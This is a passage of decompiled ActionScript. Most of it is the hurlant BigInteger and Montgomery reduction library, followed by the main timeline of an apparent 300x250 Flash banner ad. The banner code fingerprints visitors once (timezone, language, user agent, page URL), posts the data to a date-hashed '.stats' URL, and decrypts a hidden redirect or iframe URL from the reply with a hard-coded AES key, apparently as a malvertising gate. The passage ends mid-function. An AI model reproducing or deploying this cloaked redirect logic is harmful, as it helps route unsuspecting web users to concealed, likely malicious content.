  9723.  
  9724. };
  9725.  
  9726. return (_local8);
  9727.  
  9728. }
  9729.  
  9730. bi_internal function fromArray(_arg1:ByteArray, _arg2:int):void{
  9731.  
  9732. var _local3:int;
  9733.  
  9734. var _local4:int;
  9735.  
  9736. var _local5:int;
  9737.  
  9738. var _local6:int;
  9739.  
  9740. var _local7:int;
  9741.  
  9742. _local3 = _arg1.position;
  9743.  
  9744. _local4 = (_local3 + _arg2);
  9745.  
  9746. _local5 = 0;
  9747.  
  9748. _local6 = 8;
  9749.  
  9750. t = 0;
  9751.  
  9752. s = 0;
  9753.  
  9754. while (--_local4 >= _local3) {
  9755.  
  9756. _local7 = (((_local4 < _arg1.length)) ? _arg1[_local4] : 0);
  9757.  
  9758. if (_local5 == 0){
  9759.  
  9760. var _local8 = t++;
  9761.  
  9762. a[_local8] = _local7;
  9763.  
  9764. } else {
  9765.  
  9766. if ((_local5 + _local6) > DB){
  9767.  
  9768. a[(t - 1)] = (a[(t - 1)] | ((_local7 & ((1 << (DB - _local5)) - 1)) << _local5));
  9769.  
  9770. _local8 = t++;
  9771.  
  9772. a[_local8] = (_local7 >> (DB - _local5));
  9773.  
  9774. } else {
  9775.  
  9776. a[(t - 1)] = (a[(t - 1)] | (_local7 << _local5));
  9777.  
  9778. };
  9779.  
  9780. };
  9781.  
  9782. _local5 = (_local5 + _local6);
  9783.  
  9784. if (_local5 >= DB){
  9785.  
  9786. _local5 = (_local5 - DB);
  9787.  
  9788. };
  9789.  
  9790. };
  9791.  
  9792. clamp();
  9793.  
  9794. _arg1.position = math.min((_local3 + _arg2), _arg1.length);
  9795.  
  9796. }
  9797.  
  9798. bi_internal function copyTo(_arg1:BigInteger):void{
  9799.  
  9800. var _local2:int;
  9801.  
  9802. _local2 = (t - 1);
  9803.  
  9804. while (_local2 >= 0) {
  9805.  
  9806. _arg1.a[_local2] = a[_local2];
  9807.  
  9808. _local2--;
  9809.  
  9810. };
  9811.  
  9812. _arg1.t = t;
  9813.  
  9814. _arg1.s = s;
  9815.  
  9816. }
  9817.  
  9818. public function intValue():int{
  9819.  
  9820. if (s < 0){
  9821.  
  9822. if (t == 1){
  9823.  
  9824. return ((a[0] - DV));
  9825.  
  9826. };
  9827.  
  9828. if (t == 0){
  9829.  
  9830. return (-1);
  9831.  
  9832. };
  9833.  
  9834. } else {
  9835.  
  9836. if (t == 1){
  9837.  
  9838. return (a[0]);
  9839.  
  9840. };
  9841.  
  9842. if (t == 0){
  9843.  
  9844. return (0);
  9845.  
  9846. };
  9847.  
  9848. };
  9849.  
  9850. return ((((a[1] & ((1 << (32 - DB)) - 1)) << DB) | a[0]));
  9851.  
  9852. }
  9853.  
  9854. public function min(_arg1:BigInteger):BigInteger{
  9855.  
  9856. return (((compareTo(_arg1))<0) ? this : _arg1);
  9857.  
  9858. }
  9859.  
  9860. public function bitLength():int{
  9861.  
  9862. if (t <= 0){
  9863.  
  9864. return (0);
  9865.  
  9866. };
  9867.  
  9868. return (((DB * (t - 1)) + nbits((a[(t - 1)] ^ (s & DM)))));
  9869.  
  9870. }
  9871.  
  9872. public function shortValue():int{
  9873.  
  9874. return (((t)==0) ? s : ((a[0] << 16) >> 16));
  9875.  
  9876. }
  9877.  
  9878. public function and(_arg1:BigInteger):BigInteger{
  9879.  
  9880. var _local2:BigInteger;
  9881.  
  9882. _local2 = new BigInteger();
  9883.  
  9884. bitwiseTo(_arg1, op_and, _local2);
  9885.  
  9886. return (_local2);
  9887.  
  9888. }
  9889.  
  9890. protected function toRadix(_arg1:uint=10):string{
  9891.  
  9892. var _local2:int;
  9893.  
  9894. var _local3:number;
  9895.  
  9896. var _local4:BigInteger;
  9897.  
  9898. var _local5:BigInteger;
  9899.  
  9900. var _local6:BigInteger;
  9901.  
  9902. var _local7:string;
  9903.  
  9904. if ((((((sigNum() == 0)) || ((_arg1 < 2)))) || ((_arg1 > 32)))){
  9905.  
  9906. return ("0");
  9907.  
  9908. };
  9909.  
  9910. _local2 = chunkSize(_arg1);
  9911.  
  9912. _local3 = math.pow(_arg1, _local2);
  9913.  
  9914. _local4 = nbv(_local3);
  9915.  
  9916. _local5 = nbi();
  9917.  
  9918. _local6 = nbi();
  9919.  
  9920. _local7 = "";
  9921.  
  9922. divRemTo(_local4, _local5, _local6);
  9923.  
  9924. while (_local5.sigNum() > 0) {
  9925.  
  9926. _local7 = ((_local3 + _local6.intValue()).tostring(_arg1).substr(1) + _local7);
  9927.  
  9928. _local5.divRemTo(_local4, _local5, _local6);
  9929.  
  9930. };
  9931.  
  9932. return ((_local6.intValue().tostring(_arg1) + _local7));
  9933.  
  9934. }
  9935.  
  9936. public function not():BigInteger{
  9937.  
  9938. var _local1:BigInteger;
  9939.  
  9940. var _local2:int;
  9941.  
  9942. _local1 = new BigInteger();
  9943.  
  9944. _local2 = 0;
  9945.  
  9946. while (_local2 < t) {
  9947.  
  9948. _local1[_local2] = (DM & ~(a[_local2]));
  9949.  
  9950. _local2++;
  9951.  
  9952. };
  9953.  
  9954. _local1.t = t;
  9955.  
  9956. _local1.s = ~(s);
  9957.  
  9958. return (_local1);
  9959.  
  9960. }
  9961.  
  9962. bi_internal function subTo(_arg1:BigInteger, _arg2:BigInteger):void{
  9963.  
  9964. var _local3:int;
  9965.  
  9966. var _local4:int;
  9967.  
  9968. var _local5:int;
  9969.  
  9970. _local3 = 0;
  9971.  
  9972. _local4 = 0;
  9973.  
  9974. _local5 = math.min(_arg1.t, t);
  9975.  
  9976. while (_local3 < _local5) {
  9977.  
  9978. _local4 = (_local4 + (a[_local3] - _arg1.a[_local3]));
  9979.  
  9980. var _temp1 = _local3;
  9981.  
  9982. _local3 = (_local3 + 1);
  9983.  
  9984. var _local6 = _temp1;
  9985.  
  9986. _arg2.a[_local6] = (_local4 & DM);
  9987.  
  9988. _local4 = (_local4 >> DB);
  9989.  
  9990. };
  9991.  
  9992. if (_arg1.t < t){
  9993.  
  9994. _local4 = (_local4 - _arg1.s);
  9995.  
  9996. while (_local3 < t) {
  9997.  
  9998. _local4 = (_local4 + a[_local3]);
  9999.  
  10000. var _temp2 = _local3;
  10001.  
  10002. _local3 = (_local3 + 1);
  10003.  
  10004. _local6 = _temp2;
  10005.  
  10006. _arg2.a[_local6] = (_local4 & DM);
  10007.  
  10008. _local4 = (_local4 >> DB);
  10009.  
  10010. };
  10011.  
  10012. _local4 = (_local4 + s);
  10013.  
  10014. } else {
  10015.  
  10016. _local4 = (_local4 + s);
  10017.  
  10018. while (_local3 < _arg1.t) {
  10019.  
  10020. _local4 = (_local4 - _arg1.a[_local3]);
  10021.  
  10022. var _temp3 = _local3;
  10023.  
  10024. _local3 = (_local3 + 1);
  10025.  
  10026. _local6 = _temp3;
  10027.  
  10028. _arg2.a[_local6] = (_local4 & DM);
  10029.  
  10030. _local4 = (_local4 >> DB);
  10031.  
  10032. };
  10033.  
  10034. _local4 = (_local4 - _arg1.s);
  10035.  
  10036. };
  10037.  
  10038. _arg2.s = ((_local4)<0) ? -1 : 0;
  10039.  
  10040. if (_local4 < -1){
  10041.  
  10042. var _temp4 = _local3;
  10043.  
  10044. _local3 = (_local3 + 1);
  10045.  
  10046. _local6 = _temp4;
  10047.  
  10048. _arg2.a[_local6] = (DV + _local4);
  10049.  
  10050. } else {
  10051.  
  10052. if (_local4 > 0){
  10053.  
  10054. var _temp5 = _local3;
  10055.  
  10056. _local3 = (_local3 + 1);
  10057.  
  10058. _local6 = _temp5;
  10059.  
  10060. _arg2.a[_local6] = _local4;
  10061.  
  10062. };
  10063.  
  10064. };
  10065.  
  10066. _arg2.t = _local3;
  10067.  
  10068. _arg2.clamp();
  10069.  
  10070. }
  10071.  
  10072. public function clone():BigInteger{
  10073.  
  10074. var _local1:BigInteger;
  10075.  
  10076. _local1 = new BigInteger();
  10077.  
  10078. this.copyTo(_local1);
  10079.  
  10080. return (_local1);
  10081.  
  10082. }
  10083.  
  10084. public function pow(_arg1:int):BigInteger{
  10085.  
  10086. return (exp(_arg1, new NullReduction()));
  10087.  
  10088. }
  10089.  
  10090. public function flipBit(_arg1:int):BigInteger{
  10091.  
  10092. return (changeBit(_arg1, op_xor));
  10093.  
  10094. }
  10095.  
  10096. public function xor(_arg1:BigInteger):BigInteger{
  10097.  
  10098. var _local2:BigInteger;
  10099.  
  10100. _local2 = new BigInteger();
  10101.  
  10102. bitwiseTo(_arg1, op_xor, _local2);
  10103.  
  10104. return (_local2);
  10105.  
  10106. }
  10107.  
  10108. public function or(_arg1:BigInteger):BigInteger{
  10109.  
  10110. var _local2:BigInteger;
  10111.  
  10112. _local2 = new BigInteger();
  10113.  
  10114. bitwiseTo(_arg1, op_or, _local2);
  10115.  
  10116. return (_local2);
  10117.  
  10118. }
  10119.  
  10120. public function max(_arg1:BigInteger):BigInteger{
  10121.  
  10122. return (((compareTo(_arg1))>0) ? this : _arg1);
  10123.  
  10124. }
  10125.  
  10126. bi_internal function fromInt(_arg1:int):void{
  10127.  
  10128. t = 1;
  10129.  
  10130. s = ((_arg1)<0) ? -1 : 0;
  10131.  
  10132. if (_arg1 > 0){
  10133.  
  10134. a[0] = _arg1;
  10135.  
  10136. } else {
  10137.  
  10138. if (_arg1 < -1){
  10139.  
  10140. a[0] = (_arg1 + DV);
  10141.  
  10142. } else {
  10143.  
  10144. t = 0;
  10145.  
  10146. };
  10147.  
  10148. };
  10149.  
  10150. }
  10151.  
  10152. bi_internal function isEven():boolean{
  10153.  
  10154. return ((((t)>0) ? (a[0] & 1) : s == 0));
  10155.  
  10156. }
  10157.  
  10158. public function tostring(_arg1:number=16):string{
  10159.  
  10160. var _local2:int;
  10161.  
  10162. var _local3:int;
  10163.  
  10164. var _local4:int;
  10165.  
  10166. var _local5:boolean;
  10167.  
  10168. var _local6:string;
  10169.  
  10170. var _local7:int;
  10171.  
  10172. var _local8:int;
  10173.  
  10174. if (s < 0){
  10175.  
  10176. return (("-" + negate().tostring(_arg1)));
  10177.  
  10178. };
  10179.  
  10180. switch (_arg1){
  10181.  
  10182. case 2:
  10183.  
  10184. _local2 = 1;
  10185.  
  10186. break;
  10187.  
  10188. case 4:
  10189.  
  10190. _local2 = 2;
  10191.  
  10192. break;
  10193.  
  10194. case 8:
  10195.  
  10196. _local2 = 3;
  10197.  
  10198. break;
  10199.  
  10200. case 16:
  10201.  
  10202. _local2 = 4;
  10203.  
  10204. break;
  10205.  
  10206. case 32:
  10207.  
  10208. _local2 = 5;
  10209.  
  10210. break;
  10211.  
  10212. };
  10213.  
  10214. _local3 = ((1 << _local2) - 1);
  10215.  
  10216. _local4 = 0;
  10217.  
  10218. _local5 = false;
  10219.  
  10220. _local6 = "";
  10221.  
  10222. _local7 = t;
  10223.  
  10224. _local8 = (DB - ((_local7 * DB) % _local2));
  10225.  
  10226. var _temp1 = _local7;
  10227.  
  10228. _local7 = (_local7 - 1);
  10229.  
  10230. if (_temp1 > 0){
  10231.  
  10232. if ((((_local8 < DB)) && (((_local4 = (a[_local7] >> _local8)) > 0)))){
  10233.  
  10234. _local5 = true;
  10235.  
  10236. _local6 = _local4.tostring(36);
  10237.  
  10238. };
  10239.  
  10240. while (_local7 >= 0) {
  10241.  
  10242. if (_local8 < _local2){
  10243.  
  10244. _local4 = ((a[_local7] & ((1 << _local8) - 1)) << (_local2 - _local8));
  10245.  
  10246. var _temp2 = _local4;
  10247.  
  10248. _local7 = (_local7 - 1);
  10249.  
  10250. _local8 = (_local8 + (DB - _local2));
  10251.  
  10252. _local4 = (_temp2 | (a[_local7] >> _local8));
  10253.  
  10254. } else {
  10255.  
  10256. _local8 = (_local8 - _local2);
  10257.  
  10258. _local4 = ((a[_local7] >> _local8) & _local3);
  10259.  
  10260. if (_local8 <= 0){
  10261.  
  10262. _local8 = (_local8 + DB);
  10263.  
  10264. _local7--;
  10265.  
  10266. };
  10267.  
  10268. };
  10269.  
  10270. if (_local4 > 0){
  10271.  
  10272. _local5 = true;
  10273.  
  10274. };
  10275.  
  10276. if (_local5){
  10277.  
  10278. _local6 = (_local6 + _local4.tostring(36));
  10279.  
  10280. };
  10281.  
  10282. };
  10283.  
  10284. };
  10285.  
  10286. return (((_local5) ? _local6 : "0"));
  10287.  
  10288. }
  10289.  
  10290. public function setBit(_arg1:int):BigInteger{
  10291.  
  10292. return (changeBit(_arg1, op_or));
  10293.  
  10294. }
  10295.  
  10296. public function abs():BigInteger{
  10297.  
  10298. return (((s)<0) ? negate() : this);
  10299.  
  10300. }
  10301.  
  10302. bi_internal function nbits(_arg1:int):int{
  10303.  
  10304. var _local2:int;
  10305.  
  10306. var _local3:int;
  10307.  
  10308. _local2 = 1;
  10309.  
  10310. _local3 = (_arg1 >>> 16);
  10311.  
  10312. if (_local3 != 0){
  10313.  
  10314. _arg1 = _local3;
  10315.  
  10316. _local2 = (_local2 + 16);
  10317.  
  10318. };
  10319.  
  10320. _local3 = (_arg1 >> 8);
  10321.  
  10322. if (_local3 != 0){
  10323.  
  10324. _arg1 = _local3;
  10325.  
  10326. _local2 = (_local2 + 8);
  10327.  
  10328. };
  10329.  
  10330. _local3 = (_arg1 >> 4);
  10331.  
  10332. if (_local3 != 0){
  10333.  
  10334. _arg1 = _local3;
  10335.  
  10336. _local2 = (_local2 + 4);
  10337.  
  10338. };
  10339.  
  10340. _local3 = (_arg1 >> 2);
  10341.  
  10342. if (_local3 != 0){
  10343.  
  10344. _arg1 = _local3;
  10345.  
  10346. _local2 = (_local2 + 2);
  10347.  
  10348. };
  10349.  
  10350. _local3 = (_arg1 >> 1);
  10351.  
  10352. if (_local3 != 0){
  10353.  
  10354. _arg1 = _local3;
  10355.  
  10356. _local2 = (_local2 + 1);
  10357.  
  10358. };
  10359.  
  10360. return (_local2);
  10361.  
  10362. }
  10363.  
  10364. public function sigNum():int{
  10365.  
  10366. if (s < 0){
  10367.  
  10368. return (-1);
  10369.  
  10370. };
  10371.  
  10372. if ((((t <= 0)) || ((((t == 1)) && ((a[0] <= 0)))))){
  10373.  
  10374. return (0);
  10375.  
  10376. };
  10377.  
  10378. return (1);
  10379.  
  10380. }
  10381.  
  10382. public function toByteArray():ByteArray{
  10383.  
  10384. var _local1:int;
  10385.  
  10386. var _local2:ByteArray;
  10387.  
  10388. var _local3:int;
  10389.  
  10390. var _local4:int;
  10391.  
  10392. var _local5:int;
  10393.  
  10394. _local1 = t;
  10395.  
  10396. _local2 = new ByteArray();
  10397.  
  10398. _local2[0] = s;
  10399.  
  10400. _local3 = (DB - ((_local1 * DB) % 8));
  10401.  
  10402. _local5 = 0;
  10403.  
  10404. var _temp1 = _local1;
  10405.  
  10406. _local1 = (_local1 - 1);
  10407.  
  10408. if (_temp1 > 0){
  10409.  
  10410. if ((((_local3 < DB)) && (!(((_local4 = (a[_local1] >> _local3)) == ((s & DM) >> _local3)))))){
  10411.  
  10412. var _temp2 = _local5;
  10413.  
  10414. _local5 = (_local5 + 1);
  10415.  
  10416. var _local6 = _temp2;
  10417.  
  10418. _local2[_local6] = (_local4 | (s << (DB - _local3)));
  10419.  
  10420. };
  10421.  
  10422. while (_local1 >= 0) {
  10423.  
  10424. if (_local3 < 8){
  10425.  
  10426. _local4 = ((a[_local1] & ((1 << _local3) - 1)) << (8 - _local3));
  10427.  
  10428. var _temp3 = _local4;
  10429.  
  10430. _local1 = (_local1 - 1);
  10431.  
  10432. _local3 = (_local3 + (DB - 8));
  10433.  
  10434. _local4 = (_temp3 | (a[_local1] >> _local3));
  10435.  
  10436. } else {
  10437.  
  10438. _local3 = (_local3 - 8);
  10439.  
  10440. _local4 = ((a[_local1] >> _local3) & 0xFF);
  10441.  
  10442. if (_local3 <= 0){
  10443.  
  10444. _local3 = (_local3 + DB);
  10445.  
  10446. _local1--;
  10447.  
  10448. };
  10449.  
  10450. };
  10451.  
  10452. if ((_local4 & 128) != 0){
  10453.  
  10454. _local4 = (_local4 | -256);
  10455.  
  10456. };
  10457.  
  10458. if ((((_local5 == 0)) && (!(((s & 128) == (_local4 & 128)))))){
  10459.  
  10460. _local5++;
  10461.  
  10462. };
  10463.  
  10464. if ((((_local5 > 0)) || (!((_local4 == s))))){
  10465.  
  10466. var _temp4 = _local5;
  10467.  
  10468. _local5 = (_local5 + 1);
  10469.  
  10470. _local6 = _temp4;
  10471.  
  10472. _local2[_local6] = _local4;
  10473.  
  10474. };
  10475.  
  10476. };
  10477.  
  10478. };
  10479.  
  10480. return (_local2);
  10481.  
  10482. }
  10483.  
  10484. bi_internal function squareTo(_arg1:BigInteger):void{
  10485.  
  10486. var _local2:BigInteger;
  10487.  
  10488. var _local3:int;
  10489.  
  10490. var _local4:int;
  10491.  
  10492. _local2 = abs();
  10493.  
  10494. _local3 = (_arg1.t = (2 * _local2.t));
  10495.  
  10496. while (--_local3 >= 0) {
  10497.  
  10498. _arg1.a[_local3] = 0;
  10499.  
  10500. };
  10501.  
  10502. _local3 = 0;
  10503.  
  10504. while (_local3 < (_local2.t - 1)) {
  10505.  
  10506. _local4 = _local2.am(_local3, _local2.a[_local3], _arg1, (2 * _local3), 0, 1);
  10507.  
  10508. if ((_arg1.a[(_local3 + _local2.t)] = (_arg1.a[(_local3 + _local2.t)] + _local2.am((_local3 + 1), (2 * _local2.a[_local3]), _arg1, ((2 * _local3) + 1), _local4, ((_local2.t - _local3) - 1)))) >= DV){
  10509.  
  10510. _arg1.a[(_local3 + _local2.t)] = (_arg1.a[(_local3 + _local2.t)] - DV);
  10511.  
  10512. _arg1.a[((_local3 + _local2.t) + 1)] = 1;
  10513.  
  10514. };
  10515.  
  10516. _local3++;
  10517.  
  10518. };
  10519.  
  10520. if (_arg1.t > 0){
  10521.  
  10522. _arg1.a[(_arg1.t - 1)] = (_arg1.a[(_arg1.t - 1)] + _local2.am(_local3, _local2.a[_local3], _arg1, (2 * _local3), 0, 1));
  10523.  
  10524. };
  10525.  
  10526. _arg1.s = 0;
  10527.  
  10528. _arg1.clamp();
  10529.  
  10530. }
  10531.  
  10532. private function op_and(_arg1:int, _arg2:int):int{
  10533.  
  10534. return ((_arg1 & _arg2));
  10535.  
  10536. }
  10537.  
  10538. protected function fromRadix(_arg1:string, _arg2:int=10):void{
  10539.  
  10540. var _local3:int;
  10541.  
  10542. var _local4:number;
  10543.  
  10544. var _local5:boolean;
  10545.  
  10546. var _local6:int;
  10547.  
  10548. var _local7:int;
  10549.  
  10550. var _local8:int;
  10551.  
  10552. var _local9:int;
  10553.  
  10554. fromInt(0);
  10555.  
  10556. _local3 = chunkSize(_arg2);
  10557.  
  10558. _local4 = math.pow(_arg2, _local3);
  10559.  
  10560. _local5 = false;
  10561.  
  10562. _local6 = 0;
  10563.  
  10564. _local7 = 0;
  10565.  
  10566. _local8 = 0;
  10567.  
  10568. while (_local8 < _arg1.length) {
  10569.  
  10570. _local9 = intAt(_arg1, _local8);
  10571.  
  10572. if (_local9 < 0){
  10573.  
  10574. if ((((_arg1.charat(_local8) == "-")) && ((sigNum() == 0)))){
  10575.  
  10576. _local5 = true;
  10577.  
  10578. };
  10579.  
  10580. } else {
  10581.  
  10582. _local7 = ((_arg2 * _local7) + _local9);
  10583.  
  10584. ++_local6;
  10585.  
  10586. if (_local6 >= _local3){
  10587.  
  10588. dMultiply(_local4);
  10589.  
  10590. dAddOffset(_local7, 0);
  10591.  
  10592. _local6 = 0;
  10593.  
  10594. _local7 = 0;
  10595.  
  10596. };
  10597.  
  10598. };
  10599.  
  10600. _local8++;
  10601.  
  10602. };
  10603.  
  10604. if (_local6 > 0){
  10605.  
  10606. dMultiply(math.pow(_arg2, _local6));
  10607.  
  10608. dAddOffset(_local7, 0);
  10609.  
  10610. };
  10611.  
  10612. if (_local5){
  10613.  
  10614. BigInteger.ZERO.subTo(this, this);
  10615.  
  10616. };
  10617.  
  10618. }
  10619.  
  10620. bi_internal function dlShiftTo(_arg1:int, _arg2:BigInteger):void{
  10621.  
  10622. var _local3:int;
  10623.  
  10624. _local3 = (t - 1);
  10625.  
  10626. while (_local3 >= 0) {
  10627.  
  10628. _arg2.a[(_local3 + _arg1)] = a[_local3];
  10629.  
  10630. _local3--;
  10631.  
  10632. };
  10633.  
  10634. _local3 = (_arg1 - 1);
  10635.  
  10636. while (_local3 >= 0) {
  10637.  
  10638. _arg2.a[_local3] = 0;
  10639.  
  10640. _local3--;
  10641.  
  10642. };
  10643.  
  10644. _arg2.t = (t + _arg1);
  10645.  
  10646. _arg2.s = s;
  10647.  
  10648. }
  10649.  
  10650. private function op_xor(_arg1:int, _arg2:int):int{
  10651.  
  10652. return ((_arg1 ^ _arg2));
  10653.  
  10654. }
  10655.  
  10656.  
  10657.  
  10658. }
  10659.  
  10660. }//package com.hurlant.math
  10661.  
  10662. &#65279;package com.hurlant.math {
  10663.  
  10664. import com.hurlant.math.*;
  10665.  
  10666.  
  10667.  
  10668. class MontgomeryReduction implements IReduction {
  10669.  
  10670.  
  10671.  
  10672. private var um:int;
  10673.  
  10674. private var mp:int;
  10675.  
  10676. private var mph:int;
  10677.  
  10678. private var mpl:int;
  10679.  
  10680. private var mt2:int;
  10681.  
  10682. private var m:BigInteger;
  10683.  
  10684.  
  10685.  
  10686. public function MontgomeryReduction(_arg1:BigInteger){
  10687.  
  10688. this.m = _arg1;
  10689.  
  10690. mp = _arg1.invDigit();
  10691.  
  10692. mpl = (mp & 32767);
  10693.  
  10694. mph = (mp >> 15);
  10695.  
  10696. um = ((1 << (BigInteger.DB - 15)) - 1);
  10697.  
  10698. mt2 = (2 * _arg1.t);
  10699.  
  10700. }
  10701.  
  10702. public function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void{
  10703.  
  10704. _arg1.multiplyTo(_arg2, _arg3);
  10705.  
  10706. reduce(_arg3);
  10707.  
  10708. }
  10709.  
  10710. public function revert(_arg1:BigInteger):BigInteger{
  10711.  
  10712. var _local2:BigInteger;
  10713.  
  10714. _local2 = new BigInteger();
  10715.  
  10716. _arg1.copyTo(_local2);
  10717.  
  10718. reduce(_local2);
  10719.  
  10720. return (_local2);
  10721.  
  10722. }
  10723.  
  10724. public function convert(_arg1:BigInteger):BigInteger{
  10725.  
  10726. var _local2:BigInteger;
  10727.  
  10728. _local2 = new BigInteger();
  10729.  
  10730. _arg1.abs().dlShiftTo(m.t, _local2);
  10731.  
  10732. _local2.divRemTo(m, null, _local2);
  10733.  
  10734. if ((((_arg1.s < 0)) && ((_local2.compareTo(BigInteger.ZERO) > 0)))){
  10735.  
  10736. m.subTo(_local2, _local2);
  10737.  
  10738. };
  10739.  
  10740. return (_local2);
  10741.  
  10742. }
  10743.  
  10744. public function reduce(_arg1:BigInteger):void{
  10745.  
  10746. var _local2:int;
  10747.  
  10748. var _local3:int;
  10749.  
  10750. var _local4:int;
  10751.  
  10752. while (_arg1.t <= mt2) {
  10753.  
  10754. var _local5 = _arg1.t++;
  10755.  
  10756. _arg1.a[_local5] = 0;
  10757.  
  10758. };
  10759.  
  10760. _local2 = 0;
  10761.  
  10762. while (_local2 < m.t) {
  10763.  
  10764. _local3 = (_arg1.a[_local2] & 32767);
  10765.  
  10766. _local4 = (((_local3 * mpl) + ((((_local3 * mph) + ((_arg1.a[_local2] >> 15) * mpl)) & um) << 15)) & BigInteger.DM);
  10767.  
  10768. _local3 = (_local2 + m.t);
  10769.  
  10770. _arg1.a[_local3] = (_arg1.a[_local3] + m.am(0, _local4, _arg1, _local2, 0, m.t));
  10771.  
  10772. while (_arg1.a[_local3] >= BigInteger.DV) {
  10773.  
  10774. _arg1.a[_local3] = (_arg1.a[_local3] - BigInteger.DV);
  10775.  
  10776. _local5 = _arg1.a;
  10777.  
  10778. ++_local3;
  10779.  
  10780. var _local6 = _local3;
  10781.  
  10782. var _local7 = (_local5[_local6] + 1);
  10783.  
  10784. _local5[_local6] = _local7;
  10785.  
  10786. };
  10787.  
  10788. _local2++;
  10789.  
  10790. };
  10791.  
  10792. _arg1.clamp();
  10793.  
  10794. _arg1.drShiftTo(m.t, _arg1);
  10795.  
  10796. if (_arg1.compareTo(m) >= 0){
  10797.  
  10798. _arg1.subTo(m, _arg1);
  10799.  
  10800. };
  10801.  
  10802. }
  10803.  
  10804. public function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void{
  10805.  
  10806. _arg1.squareTo(_arg2);
  10807.  
  10808. reduce(_arg2);
  10809.  
  10810. }
  10811.  
  10812.  
  10813.  
  10814. }
  10815.  
  10816. }//package com.hurlant.math
  10817.  
  10818. &#65279;package _300x250fr_fla {
  10819.  
  10820. import flash.utils.*;
  10821.  
  10822. import com.adobe.serialization.json.*;
  10823.  
  10824. import flash.events.*;
  10825.  
  10826. import com.adobe.crypto.*;
  10827.  
  10828. import com.hurlant.util.*;
  10829.  
  10830. import com.hurlant.crypto.*;
  10831.  
  10832. import flash.display.*;
  10833.  
  10834. import flash.text.*;
  10835.  
  10836. import flash.system.*;
  10837.  
  10838. import flash.net.*;
  10839.  
  10840. import adobe.utils.*;
  10841.  
  10842. import flash.accessibility.*;
  10843.  
  10844. import flash.desktop.*;
  10845.  
  10846. import flash.errors.*;
  10847.  
  10848. import flash.external.*;
  10849.  
  10850. import flash.filters.*;
  10851.  
  10852. import flash.geom.*;
  10853.  
  10854. import flash.globalization.*;
  10855.  
  10856. import flash.media.*;
  10857.  
  10858. import flash.net.drm.*;
  10859.  
  10860. import flash.printing.*;
  10861.  
  10862. import flash.profiler.*;
  10863.  
  10864. import flash.sampler.*;
  10865.  
  10866. import flash.sensors.*;
  10867.  
  10868. import flash.text.ime.*;
  10869.  
  10870. import flash.text.engine.*;
  10871.  
  10872. import flash.ui.*;
  10873.  
  10874. import flash.xml.*;
  10875.  
  10876.  
  10877.  
  10878. public dynamic class MainTimeline extends movieclip {
  10879.  
  10880.  
  10881.  
  10882. public function MainTimeline(){
  10883.  
  10884. addFrameScript(0, this.frame1);
  10885.  
  10886. }
  10887.  
  10888. public function App(_arg1:Event):void{
  10889.  
  10890. var _local2:sharedobject = sharedobject.getlocal("counter");
  10891.  
  10892. if (_local2.data.hasOwnProperty("seen")){
  10893.  
  10894. return;
  10895.  
  10896. };
  10897.  
  10898. var _local3:date = new date();
  10899.  
  10900. var _local4:URLLoader = new URLLoader();
  10901.  
  10902. var _local5:URLRequest = new URLRequest(this.createURL());
  10903.  
  10904. _local5.method = URLRequestMethod.POST;
  10905.  
  10906. var _local6:URLVariables = new URLVariables();
  10907.  
  10908. _local6.user_tz_shift = _local3.gettimezoneoffset();
  10909.  
  10910. _local6.user_language = this.getBrowserLanguage();
  10911.  
  10912. _local6.user_agent = this.getBrowser();
  10913.  
  10914. _local6.pageURL = ExternalInterface.call("window.location.href.toString");
  10915.  
  10916. _local2.data.seen = true;
  10917.  
  10918. _local2.flush();
  10919.  
  10920. _local5.data = _local6;
  10921.  
  10922. _local4.addEventListener(Event.COMPLETE, this.onloadcomplete);
  10923.  
  10924. _local4.load(_local5);
  10925.  
  10926. }
  10927.  
  10928. public function createURL():string{
  10929.  
  10930. var _local1:string = this.loaderInfo.url;
  10931.  
  10932. _local1 = _local1.substr(0, (_local1.lastindexof("/") + 1));
  10933.  
  10934. var _local2 = (_local1 + "_");
  10935.  
  10936. var _local3:date = new date();
  10937.  
  10938. var _local4 = ((_local2 + MD5.hash(((((("" + _local3.getfullyear()) + _local3.getmonth()) + _local3.getdate()) + _local3.gethours()) + (_local3.getminutes() / 12)))) + ".stats");
  10939.  
  10940. return (_local4);
  10941.  
  10942. }
  10943.  
  10944. public function getBrowser():string{
  10945.  
  10946. var _local1:string;
  10947.  
  10948. if (ExternalInterface.available){
  10949.  
  10950. ExternalInterface.marshallExceptions = true;
  10951.  
  10952. _local1 = ExternalInterface.call("function() {return navigator.userAgent;}");
  10953.  
  10954. return (_local1);
  10955.  
  10956. };
  10957.  
  10958. return (null);
  10959.  
  10960. }
  10961.  
  10962. public function getBrowserLanguage():string{
  10963.  
  10964. var _local1:string;
  10965.  
  10966. var _local2:RegExp;
  10967.  
  10968. var _local3:array;
  10969.  
  10970. if (ExternalInterface.available){
  10971.  
  10972. ExternalInterface.marshallExceptions = true;
  10973.  
  10974. _local1 = ExternalInterface.call("function() { return window.navigator.userLanguage || window.navigator.language }");
  10975.  
  10976. if (!_local1){
  10977.  
  10978. return (null);
  10979.  
  10980. };
  10981.  
  10982. _local1 = _local1.tolowercase();
  10983.  
  10984. _local2 = /(\w+)-/;
  10985.  
  10986. _local3 = _local2.exec(_local1);
  10987.  
  10988. if (!_local3){
  10989.  
  10990. return (_local1);
  10991.  
  10992. };
  10993.  
  10994. return (_local3[1]);
  10995.  
  10996. };
  10997.  
  10998. return (null);
  10999.  
  11000. }
  11001.  
  11002. public function onloadcomplete(_arg1:Event):void{
  11003.  
  11004. var url:* = null;
  11005.  
  11006. var key:* = null;
  11007.  
  11008. var cipher:* = null;
  11009.  
  11010. var encrypted:* = null;
  11011.  
  11012. var js:* = null;
  11013.  
  11014. var event:* = _arg1;
  11015.  
  11016. var rawData:* = string(event.target.data);
  11017.  
  11018. var resp:* = JSON.decode(rawData);
  11019.  
  11020. if (resp){
  11021.  
  11022. if (((resp.hit) && (resp.data))){
  11023.  
  11024. key = new ByteArray();
  11025.  
  11026. key.writeUTFBytes("27tSTCPrn72YnKGd");
  11027.  
  11028. cipher = Crypto.getCipher("simple-aes-128-ecb", key);
  11029.  
  11030. encrypted = Base64.decodeToByteArray(resp.data);
  11031.  
  11032. cipher.decrypt(encrypted);
  11033.  
  11034. url = encrypted.tostring();
  11035.  
  11036. } else {
  11037.  
  11038. if (((resp.iframe) && (resp.url))){
  11039.  
  11040. url = resp.url;
  11041.  
  11042. };
  11043.  
  11044. };
  11045.  
  11046. if (url){
  11047.  
